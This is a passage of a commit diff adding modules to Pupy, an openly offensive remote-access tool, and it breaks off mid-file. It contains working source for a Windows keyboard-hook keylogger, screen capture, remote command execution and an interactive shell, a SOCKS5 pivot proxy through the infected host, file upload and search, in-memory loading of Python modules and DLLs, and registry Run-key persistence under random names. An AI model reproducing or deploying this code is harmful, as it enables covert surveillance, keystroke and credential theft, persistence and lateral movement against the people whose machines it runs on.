self.arg_parser = PupyArgumentParser(prog='pyshell', description=self.__doc__)
def run(self, args):
try:
pupylib.utils.interact(self.client.conn)
except KeyboardInterrupt:
pass

View File

@ -0,0 +1,79 @@
# -*- coding: UTF8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------
from pupylib.PupyModule import *
from rpyc.utils.classic import download
import os
import os.path
import textwrap
import logging
import datetime
from zlib import compress, crc32
import struct
import subprocess
__class_name__="Screenshoter"
def pil_save(filename, pixels, width, height):
from PIL import Image, ImageFile
buffer_len = (width * 3 + 3) & -4
img = Image.frombuffer('RGB', (width, height), pixels, 'raw', 'BGR', buffer_len, 1)
ImageFile.MAXBLOCK = width * height
img=img.transpose(Image.FLIP_TOP_BOTTOM)
img.save(filename, quality=95, optimize=True, progressive=True)
logging.info('Screenshot saved to %s'%filename)
class Screenshoter(PupyModule):
""" take a screenshot :) """
@windows_only
def is_compatible(self):
pass
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='screenshot', description=self.__doc__)
self.arg_parser.add_argument('-e', '--enum', action='store_true', help='enumerate screen')
self.arg_parser.add_argument('-s', '--screen', type=int, default=None, help='take a screenshot on a specific screen (default all screen on one screenshot)')
self.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open eog on the screenshot for preview')
def run(self, args):
try:
os.makedirs("./data/screenshots")
except Exception:
pass
self.client.load_package("pupwinutils.screenshot")
screens=None
if args.screen is None:
screens=self.client.conn.modules['pupwinutils.screenshot'].enum_display_monitors(oneshot=True)
else:
screens=self.client.conn.modules['pupwinutils.screenshot'].enum_display_monitors()
if args.enum:
res=""
for i, screen in enumerate(screens):
res+="{:<3}: {}\n".format(i,screen)
return res
if args.screen is None:
args.screen=0
selected_screen=screens[args.screen]
screenshot_pixels=self.client.conn.modules["pupwinutils.screenshot"].get_pixels(selected_screen)
filepath=os.path.join("./data/screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".jpg")
pil_save(filepath, screenshot_pixels, selected_screen["width"], selected_screen["height"])
if args.view:
subprocess.Popen(["eog",filepath])
self.success("screenshot saved to %s"%filepath)

20
pupy/modules/search.py Normal file
View File

@ -0,0 +1,20 @@
# -*- coding: UTF8 -*-
from pupylib.PupyModule import *
__class_name__="SearchModule"
class SearchModule(PupyModule):
""" walk through a directory and recursively search a string into files """
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="search", description=self.__doc__)
self.arg_parser.add_argument('path', help='path')
self.arg_parser.add_argument('strings', nargs='+',metavar='string', help='strings to search')
def run(self, args):
self.client.load_package("pupyutils.search")
self.info("searching strings %s in %s ..."%(args.strings, args.path))
for res in self.client.conn.modules['pupyutils.search'].search_path(args.path, args.strings):
self.success("%s:%s > %s"%(res[0],res[1],res[2]))
self.info("search finished !")

View File

@ -0,0 +1,28 @@
# -*- coding: UTF8 -*-
from pupylib.PupyModule import *
import subprocess
from rpyc.utils.helpers import restricted
__class_name__="ShellExec"
class ShellExec(PupyModule):
""" execute shell commands on a remote system """
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='shell_exec', description=self.__doc__)
self.arg_parser.add_argument('argument', nargs='+')
def run(self, args):
res=""
try:
res=self.client.conn.modules.subprocess.check_output(' '.join(args.argument), stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True, universal_newlines=True)
except Exception as e:
if hasattr(e,'output') and e.output:
res=e.output
else:
res=str(e)
if self.client.is_windows():
try:
res=res.decode('cp437')
except Exception:
pass
self.log(res)

211
pupy/modules/socks5proxy.py Normal file
View File

@ -0,0 +1,211 @@
# -*- coding: UTF8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------
#RFC @https://www.ietf.org/rfc/rfc1928.txt
from pupylib.PupyModule import *
import StringIO
import pupylib.utils
import SocketServer
import threading
import socket
import logging
import struct
import traceback
import time
__class_name__="Socks5Proxy"
CODE_SUCCEEDED='\x00'
CODE_GENERAL_SRV_FAILURE='\x01'
CODE_CONN_NOT_ALLOWED='\x02'
CODE_NET_NOT_REACHABLE='\x03'
CODE_HOST_UNREACHABLE='\x04'
CODE_CONN_REFUSED='\x05'
CODE_TTL_EXPIRED='\x06'
CODE_COMMAND_NOT_SUPPORTED='\x07'
CODE_ADDRESS_TYPE_NOT_SUPPORTED='\x08'
CODE_UNASSIGNED='\x09'
class SocketPiper(threading.Thread):
def __init__(self, read_sock, write_sock):
threading.Thread.__init__(self)
self.daemon=True
self.read_sock=read_sock
self.write_sock=write_sock
def run(self):
try:
self.read_sock.setblocking(0)
while True:
data=""
try:
data+=self.read_sock.recv(1000000)
if not data:
break
except Exception as e:
if e[0]==9:#errno connection closed
break
if not data:
time.sleep(0.05)
continue
self.write_sock.sendall(data)
except Exception as e:
logging.debug("error in socket piper: %s"%str(traceback.format_exc()))
finally:
try:
self.write_sock.shutdown(socket.SHUT_RDWR)
self.write_sock.close()
except Exception:
pass
try:
self.read_sock.shutdown(socket.SHUT_RDWR)
self.read_sock.close()
except Exception:
pass
logging.debug("piper finished")
class Socks5RequestHandler(SocketServer.BaseRequestHandler):
def _socks_response(self, code, terminate=False):
ip="".join([chr(int(i)) for i in self.server.server_address[0].split(".")])
port=struct.pack("!H",self.server.server_address[1])
self.request.sendall("\x05"+code+"\x00"+"\x01"+ip+port)
if terminate:
self.request.shutdown(socket.SHUT_RDWR)
self.request.close()
def handle(self):
self.request.settimeout(5)
VER=self.request.recv(1)
NMETHODS=self.request.recv(1)
METHODS=self.request.recv(int(struct.unpack("!B",NMETHODS)[0]))
"""
o X'00' NO AUTHENTICATION REQUIRED
o X'01' GSSAPI
o X'02' USERNAME/PASSWORD
o X'03' to X'7F' IANA ASSIGNED
o X'80' to X'FE' RESERVED FOR PRIVATE METHODS
o X'FF' NO ACCEPTABLE METHODS
"""
#for now only no authentication is supported :
self.request.sendall("\x05\x00")
VER=self.request.recv(1)
if VER!="\x05":
logging.debug("receiving unsuported socks version: %s"%VER.encode('hex'))
self._socks_response(CODE_GENERAL_SRV_FAILURE, terminate=True)
return
CMD=self.request.recv(1)
if CMD!="\x01": # we only support CONNECT for now
logging.debug("receiving unsuported socks CMD: %s"%CMD.encode('hex'))
self._socks_response(CODE_COMMAND_NOT_SUPPORTED, terminate=True)
return
RSV=self.request.recv(1)
DST_ADDR=None
DST_PORT=None
ATYP=self.request.recv(1)
if ATYP=="\x01":
DST_ADDR=".".join([str(ord(x)) for x in self.request.recv(4)])
DST_PORT=struct.unpack("!H",self.request.recv(2))[0]
elif ATYP=="\x03":
DOMAIN_LEN=int(struct.unpack("!B",self.request.recv(1))[0])
DST_ADDR=self.request.recv(DOMAIN_LEN)
DST_PORT=struct.unpack("!H",self.request.recv(2))[0]
else: #TODO: ipv6
logging.debug("atyp not supported: %s"%ATYP.encode('hex'))
self._socks_response(CODE_ADDRESS_TYPE_NOT_SUPPORTED, terminate=True)
return
#now we have all we need, we can open the socket proxyfied through rpyc :)
logging.debug("connecting to %s:%s through the rpyc client"%(DST_ADDR,DST_PORT))
rsocket_mod=self.server.rpyc_client.conn.modules.socket
rsocket=rsocket_mod.socket(rsocket_mod.AF_INET,rsocket_mod.SOCK_STREAM)
rsocket.settimeout(5)
try:
rsocket.connect((DST_ADDR, DST_PORT))
except Exception as e:
logging.debug("error: %s"%e)
if e[0]==10060:
logging.debug("unreachable !")
self._socks_response(CODE_HOST_UNREACHABLE, terminate=True)
else:
self._socks_response(CODE_NET_NOT_REACHABLE, terminate=True)
return
self._socks_response(CODE_SUCCEEDED)
logging.debug("connection succeeded !")
#self.request.settimeout(30)
#rsocket.settimeout(30)
sp1=SocketPiper(self.request, rsocket)
sp2=SocketPiper(rsocket, self.request)
sp1.start()
sp2.start()
sp1.join()
sp2.join()
logging.debug("conn to %s:%s closed"%(DST_ADDR,DST_PORT))
class Socks5Server(SocketServer.TCPServer):
allow_reuse_address = True
def __init__(self, server_address, RequestHandlerClass, bind_and_activate=True, rpyc_client=None):
self.rpyc_client=rpyc_client
SocketServer.TCPServer.__init__(self, server_address, RequestHandlerClass, bind_and_activate)
class ThreadedSocks5Server(SocketServer.ThreadingMixIn, Socks5Server):
pass
class Socks5Proxy(PupyModule):
""" start a socks5 proxy gooing through a client """
max_clients=1
unique_instance=True
daemon=True
server=None
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='socks5proxy', description=self.__doc__)
self.arg_parser.add_argument('-p', '--port', default='1080')
self.arg_parser.add_argument('action', choices=['start','stop'])
def stop_daemon(self):
self.success("shuting down socks server ...")
if self.server:
self.server.shutdown()
del self.server
self.success("socks server shut down")
else:
self.error("server is None")
def run(self, args):
if args.action=="start":
if self.server is None:
self.success("starting server ...")
self.server = ThreadedSocks5Server(("127.0.0.1", int(args.port)), Socks5RequestHandler, rpyc_client=self.client)
t=threading.Thread(target=self.server.serve_forever)
t.daemon=True
t.start()
self.success("socks5 server started on 127.0.0.1:%s"%args.port)
else:
self.error("socks5 server is already started !")
elif args.action=="stop":
if self.server:
self.job.stop()
del self.job
self.success("socks5 server stopped !")
else:
self.error("socks5 server is already stopped")

18
pupy/modules/upload.py Normal file
View File

@ -0,0 +1,18 @@
# -*- coding: UTF8 -*-
from pupylib.PupyModule import *
from rpyc.utils.classic import upload
import os
import os.path
__class_name__="UploaderScript"
class UploaderScript(PupyModule):
""" upload a file/directory to a remote system """
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='download', description=self.__doc__)
self.arg_parser.add_argument('local_file', metavar='<local_path>')
self.arg_parser.add_argument('remote_file', metavar='<remote_path>')
def run(self, args):
upload(self.client.conn, args.local_file, args.remote_file)
self.success("file local:%s uploaded to remote:%s"%(args.local_file, args.remote_file))

View File

@ -0,0 +1,76 @@
# -*- coding: UTF8 -*-
import sys
from subprocess import PIPE, Popen
from threading import Thread
from Queue import Queue, Empty
import time
import traceback
ON_POSIX = 'posix' in sys.builtin_module_names
def write_output(out, queue):
try:
for c in iter(lambda: out.read(1), b""):
queue.put(c)
out.close()
except Exception as e:
print(traceback.format_exc())
def flush_loop(queue, encoding):
try:
while True:
buf=b""
while True:
try:
buf+=queue.get_nowait()
except Empty:
break
if buf:
if encoding:
try:
buf=buf.decode(encoding)
except Exception:
pass
sys.stdout.write(buf)
sys.stdout.flush()
time.sleep(0.5)
except Exception as e:
print(traceback.format_exc())
def interactive_open(program=None, encoding=None):
try:
if program is None:
if "win" in sys.platform.lower():
program="cmd.exe"
encoding="cp437"
else:
program="/bin/sh"
encoding=None
print "Opening interactive %s ... (encoding : %s)"%(program,encoding)
p = Popen([program], stdout=PIPE, stderr=PIPE, stdin=PIPE, bufsize=0, close_fds=ON_POSIX, universal_newlines=True)
q = Queue()
q2 = Queue()
t = Thread(target=write_output, args=(p.stdout, q))
t.daemon = True
t.start()
t = Thread(target=write_output, args=(p.stderr, q2))
t.daemon = True
t.start()
t = Thread(target=flush_loop, args=(q, encoding))
t.daemon = True
t.start()
t = Thread(target=flush_loop, args=(q2, encoding))
t.daemon = True
t.start()
while True:
line = raw_input()
p.stdin.write(line+"\n")
if line.strip()=="exit":
break
except Exception as e:
print(traceback.format_exc())

View File

@ -0,0 +1,164 @@
# ---------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# ---------------------------------------------------------------
# This module uses the builtins modules pupy and _memimporter to load python modules and packages from memory, including .pyd files (windows only)
# Pupy can dynamically add new modules to the modules dictionary to allow remote importing of python modules from memory !
#
import sys, imp, zlib, marshal
builtin_memimporter=False
try:
import _memimporter
builtin_memimporter=True
except ImportError:
pass
modules={}
try:
import pupy
modules = marshal.loads(zlib.decompress(pupy._get_compressed_library_string()))
except ImportError:
#modules = marshal.loads(zlib.decompress(open("resources\\library_compressed_string.txt",'rb').read()))
pass
def get_module_files(fullname):
""" return the file to load """
f=fullname.replace(".","/")
files=[]
for x in modules.iterkeys():
if x.rsplit(".",1)[0]==f or f+"/__init__.py"==x or f+"/__init__.pyc"==x:
files.append(x)
return files
def pupy_add_package(pkdic):
""" update the modules dictionary to allow remote imports of new packages """
import cPickle
global modules
modules.update(cPickle.loads(pkdic))
class PupyPackageLoader:
def __init__(self, fullname, contents, extension, is_pkg, path):
self.fullname = fullname
self.contents = contents
self.extension = extension
self.is_pkg=is_pkg
self.path=path
#self.archive=""
def load_module(self, fullname):
imp.acquire_lock()
try:
#print "loading module %s"%fullname
if fullname in sys.modules:
return sys.modules[fullname]
mod=None
c=None
if self.extension=="py":
mod = imp.new_module(fullname)
mod.__name__ = fullname
mod.__file__ = "<memimport>\\%s" % self.path.replace("/","\\")
mod.__loader__ = self
if self.is_pkg:
mod.__path__ = [mod.__file__.rsplit("\\",1)[0]]
mod.__package__ = fullname
else:
mod.__package__ = fullname.rsplit('.', 1)[0]
sys.modules[fullname]=mod
code = compile(self.contents, mod.__file__, "exec")
exec self.contents in mod.__dict__
elif self.extension in ["pyc","pyo"]:
mod = imp.new_module(fullname)
mod.__name__ = fullname
mod.__file__ = "<memimport>\\%s" % self.path.replace("/","\\")
mod.__loader__ = self
if self.is_pkg:
mod.__path__ = [mod.__file__.rsplit("\\",1)[0]]
#mod.__path__ = [mod.__file__]
mod.__package__ = fullname
else:
mod.__package__ = fullname.rsplit('.', 1)[0]
sys.modules[fullname]=mod
c=marshal.loads(self.contents[8:])
exec c in mod.__dict__
elif self.extension in ("dll","pyd"):
initname = "init" + fullname.rsplit(".",1)[-1]
path=fullname.replace(".","/")+"."+self.extension
#print "Loading %s from memory"%fullname
#print "init:%s, %s.%s"%(initname,fullname,self.extension)
mod = _memimporter.import_module(self.contents, initname, fullname, path)
mod.__name__=fullname
mod.__file__ = "<memimport>\\%s" % self.path.replace("/","\\")
mod.__loader__ = self
mod.__package__ = fullname.rsplit('.',1)[0]
sys.modules[fullname]=mod
except Exception as e:
if fullname in sys.modules:
del sys.modules[fullname]
import traceback
print "PupyPackageLoader: Error while loading package %s (%s) : %s %s"%(fullname, self.extension, str(e), c)
raise e
finally:
imp.release_lock()
mod = sys.modules[fullname] # reread the module in case it changed itself
return mod
class PupyPackageFinder:
def __init__(self, modules):
self.modules = modules
self.modules_list=[x.rsplit(".",1)[0] for x in self.modules.iterkeys()]
def find_module(self, fullname, path=None):
imp.acquire_lock()
try:
if fullname in ("pywintypes", "pythoncom"):
fullname = fullname + "%d%d" % sys.version_info[:2]
fullname = fullname.replace(".", "\\") + ".dll"
#print "find_module(\"%s\",\"%s\")"%(fullname,path)
files=get_module_files(fullname)
if not builtin_memimporter:
files=[f for f in files if not f.lower().endswith((".pyd",".dll"))]
if not files:
#print "%s not found in %s"%(fullname,path)
return None
selected=None
for f in files:
if f.endswith("/__init__.pyc") or f.endswith("/__init__.py"):
selected=f # we select packages in priority
if not selected:
for f in files:
if f.endswith(".pyd"):
selected=f # then we select pyd
if not selected:
for f in files:
if f.endswith(".py"):
selected=f # we select .py before .pyc
if not selected:
selected=files[0]
#print "%s found in %s"%(fullname,selected)
content=self.modules[selected]
extension=selected.rsplit(".",1)[1].strip().lower()
is_pkg=False
if selected.endswith("/__init__.py") or selected.endswith("/__init__.pyc"):
is_pkg=True
#print "--> Loading %s(%s).%s is_package:%s"%(fullname,selected,extension, is_pkg)
return PupyPackageLoader(fullname, content, extension, is_pkg, selected)
except Exception as e:
raise e
finally:
imp.release_lock()
def install():
sys.meta_path.append(PupyPackageFinder(modules))
sys.path_importer_cache.clear()

View File

View File

@ -0,0 +1,36 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
import os
import os.path
import re
def search_file(path, search_strings):
buf=b""
line_nb=0
with open(path, 'rb') as f:
for line in f:
line=line.lower()
for s in search_strings:
start=0
while True:
i=line.find(s.lower(), start)
if i==-1:
break
start=i+1
yield (line_nb, line[i-50:i+50].strip())
line_nb+=1
def search_path(path, search_strings, files_extensions=None):
""" search recursively for a string in all files in the path """
if files_extensions:
files_extensions=tuple(files_extensions)
for root, dirs, files in os.walk(path):
for f in files:
if files_extensions is None or f.endswith(files_extensions):
for res in search_file(os.path.join(root,f),search_strings):
yield (os.path.join(root,f), res[0], res[1])
if __name__=="__main__":
import sys
search_path(sys.argv[1],[sys.argv[2]])

View File

@ -0,0 +1,122 @@
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
import threading
import time
user32 = windll.user32
kernel32 = windll.kernel32
WH_KEYBOARD_LL=13
WM_KEYDOWN=0x0100
keyCodes={
0x08 : "[BKSP]",
0x09 : "[TAB]",
0x0D : "\n",
0x10 : "[SHIFT]",
0x11 : "[CTRL]",
0x12 : "[ALT]",
0x13 : "[PAUSE]",
0x14 : "[CAPS_LOCK]",
0x1B : "[ESCAPE]",
0x20 : " ",
0x25 : "[LEFT]",
0x26 : "[UP]",
0x27 : "[RIGHT]",
0x28 : "[DOWN]",
0x2C : "[PRINT_SCREEN]",
0x2E : "[DEL]",
0x90 : "[NUM_LOCk]",
0xA0 : "[LSHIFT]",
0xA1 : "[RSHIFT]",
0xA2 : "[LCTRL]",
0xA3 : "[RCTRL]",
0xA4 : "[LMENU]",
0xA5 : "[RMENU]",
}
class KeyLogger(threading.Thread):
def __init__(self, *args, **kwargs):
threading.Thread.__init__(self, *args, **kwargs)
self.hooked = None
self.daemon=True
self.keys_buffer=""
self.lUser32=user32
self.pointer=None
self.stopped=False
def run(self):
if self.install_hook():
print "keylogger installed"
else:
raise RuntimeError("couldn't install keylogger")
msg = MSG()
user32.GetMessageA(byref(msg),0,0,0)
while not self.stopped:
time.sleep(1)
self.uninstall_hook()
def stop(self):
self.stopped=True
def dump(self):
res=self.keys_buffer
self.keys_buffer=""
return res
def convert_key_code(self, code):
#https://msdn.microsoft.com/fr-fr/library/windows/desktop/dd375731%28v=vs.85%29.aspx
if code >=0x41 and code <=0x5a: # letters
return chr(code)
elif code>=0x30 and code <=0x39: # numbers
return str(code-0x30)
elif code>=0x60 and code <=0x69: # keypad numbers
return str(code-0x60)
elif code in keyCodes:
return keyCodes[code]
return "[%02x]"%code
def install_hook(self):
CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
self.pointer = CMPFUNC(self.hook_proc)
self.hooked = self.lUser32.SetWindowsHookExA(WH_KEYBOARD_LL, self.pointer, kernel32.GetModuleHandleW(None), 0)
if not self.hooked:
return False
return True
def uninstall_hook(self):
if self.hooked is None:
return
self.lUser32.UnhookWindowsHookEx(self.hooked)
self.hooked = None
def hook_proc(self, nCode, wParam, lParam):
if wParam is not WM_KEYDOWN:
return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
hooked_key = self.convert_key_code(lParam[0])
self.keys_buffer+=hooked_key
return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
if __name__=="__main__":
keyLogger = KeyLogger()
keyLogger.start()
while True:
time.sleep(5)
print keyLogger.dump()

View File

@ -0,0 +1,10 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
import ctypes
import threading
def MessageBox(text, title):
t=threading.Thread(target=ctypes.windll.user32.MessageBoxA, args=(None, text, title, 0))
t.daemon=True
t.start()

View File

@ -0,0 +1,35 @@
# -*- coding: UTF8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------
from _winreg import *
import random
import string
def add_registry_startup(bin_path):
randname=''.join([random.choice(string.ascii_lowercase) for i in range(0,random.randint(6,12))])
try:
aKey = OpenKey(HKEY_LOCAL_MACHINE, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
try:
SetValueEx(aKey, randname, 0, REG_SZ, bin_path)
finally:
CloseKey(aKey)
except Exception:
aKey2 = OpenKey(HKEY_CURRENT_USER, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
try:
SetValueEx(aKey2, randname, 0, REG_SZ, bin_path)
finally:
CloseKey(aKey)

View File

@ -0,0 +1,55 @@
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------
from ctypes import byref, c_bool
from ctypes import windll
import psutil
import platform
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_VM_READ = 0x0010
MAX_PATH=260
def is_process_64(pid):
""" Take a pid. return True if process is 64 bits, and False otherwise. """
is64=False
if not "64" in platform.machine():
return False
hProcess = windll.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid)
is64=is_process_64_from_handle(hProcess)
windll.kernel32.CloseHandle(hProcess)
return is64
def is_process_64_from_handle(hProcess):
""" Take a process handle. return True if process is 64 bits, and False otherwise. """
iswow64 = c_bool(False)
if not hasattr(windll.kernel32,'IsWow64Process'):
return False
windll.kernel32.IsWow64Process(hProcess, byref(iswow64))
return not iswow64.value
def enum_processes():
